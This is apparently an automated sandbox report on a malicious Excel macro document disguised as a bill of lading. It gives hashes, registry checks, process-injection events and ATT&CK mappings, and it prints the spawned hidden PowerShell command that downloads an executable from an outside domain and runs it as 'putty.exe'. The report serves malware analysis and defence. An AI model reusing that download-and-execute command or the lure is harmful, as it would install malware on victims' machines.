f4dcd21a2e0b2f4432b665157a1f934e5063be6bbf7ef5f92b365bbbeca92331

General

Target

Scan Bill of Lading.xlsm
Size

398KB
MD5

937aa5650aa985dd443f4a03156967c9
SHA1

f40cd6481a66c1608a6b97580fe69f2e4904ed6d
SHA256

f4dcd21a2e0b2f4432b665157a1f934e5063be6bbf7ef5f92b365bbbeca92331
SHA512

8113094f933fbd159ec1d37bd7da487e42a515bfba57c6de6c82358223b2e202c6b592ea8fff18568694ca58fdbaebfb60b53f7974743a8c8c9f4abc1af68b93

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://kyivremont.com/vbc.exe

Signatures

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exeputty.exeWerFault.exe

pid	process
3680	powershell.exe
3680	powershell.exe
3680	powershell.exe
2924	putty.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe
3296	WerFault.exe

Executes dropped EXE 1 IoCs

Processes:

putty.exe

pid process

2924 putty.exe

pid	process
2924	putty.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

16 3680 powershell.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3296 2924 WerFault.exe putty.exe

flow	pid	process
16	3680	powershell.exe

pid	pid_target	process	target process
3296	2924	WerFault.exe	putty.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
1508	EXCEL.EXE
1508	EXCEL.EXE
1508	EXCEL.EXE
1508	EXCEL.EXE
1508	EXCEL.EXE
1508	EXCEL.EXE
1508	EXCEL.EXE
1508	EXCEL.EXE
1508	EXCEL.EXE
1508	EXCEL.EXE
1508	EXCEL.EXE
1508	EXCEL.EXE
1508	EXCEL.EXE
1508	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1508 EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3680	1508	powershell.exe	EXCEL.EXE

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

EXCEL.EXEpowershell.exe

description	pid	process	target process
PID 1508 wrote to memory of 3680	1508	EXCEL.EXE	powershell.exe
PID 1508 wrote to memory of 3680	1508	EXCEL.EXE	powershell.exe
PID 3680 wrote to memory of 2924	3680	powershell.exe	putty.exe
PID 3680 wrote to memory of 2924	3680	powershell.exe	putty.exe
PID 3680 wrote to memory of 2924	3680	powershell.exe	putty.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exeputty.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	2924	putty.exe
Token: SeRestorePrivilege	3296	WerFault.exe
Token: SeBackupPrivilege	3296	WerFault.exe
Token: SeDebugPrivilege	3296	WerFault.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Scan Bill of Lading.xlsm"
1⤵
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:1508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('https://kyivremont.com/vbc.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
2⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:3680

C:\Users\Admin\AppData\Local\Temp\putty.exe
"C:\Users\Admin\AppData\Local\Temp\putty.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2924 -s 888
4⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3296

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\putty.exe

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C:\Users\Admin\AppData\Local\Temp\putty.exe

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memory/2924-17-0x0000000000000000-mapping.dmp

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memory/2924-154-0x0000000000000000-mapping.dmp

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memory/2924-156-0x0000000000000000-mapping.dmp

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memory/2924-10-0x0000000000000000-mapping.dmp

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memory/2924-15-0x0000000000000000-mapping.dmp

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memory/2924-11-0x0000000000000000-mapping.dmp

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memory/2924-12-0x0000000000000000-mapping.dmp

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memory/2924-13-0x0000000000000000-mapping.dmp

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memory/2924-150-0x0000000000000000-mapping.dmp

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memory/2924-16-0x0000000000000000-mapping.dmp

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memory/2924-155-0x0000000000000000-mapping.dmp

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memory/2924-153-0x0000000000000000-mapping.dmp

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memory/2924-14-0x0000000000000000-mapping.dmp

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memory/2924-149-0x0000000000000000-mapping.dmp

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memory/2924-151-0x0000000000000000-mapping.dmp

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memory/2924-152-0x0000000000000000-mapping.dmp

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memory/2924-6-0x0000000000000000-mapping.dmp

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memory/3296-9-0x0000000004D10000-0x0000000004D11000-memory.dmp

Filesize
4KB

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memory/3296-159-0x0000000004CD0000-0x0000000004CD1000-memory.dmp

Filesize
4KB

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memory/3296-19-0x0000000005490000-0x0000000005491000-memory.dmp

Filesize
4KB

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memory/3296-157-0x0000000005560000-0x0000000005561000-memory.dmp

Filesize
4KB

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memory/3680-5-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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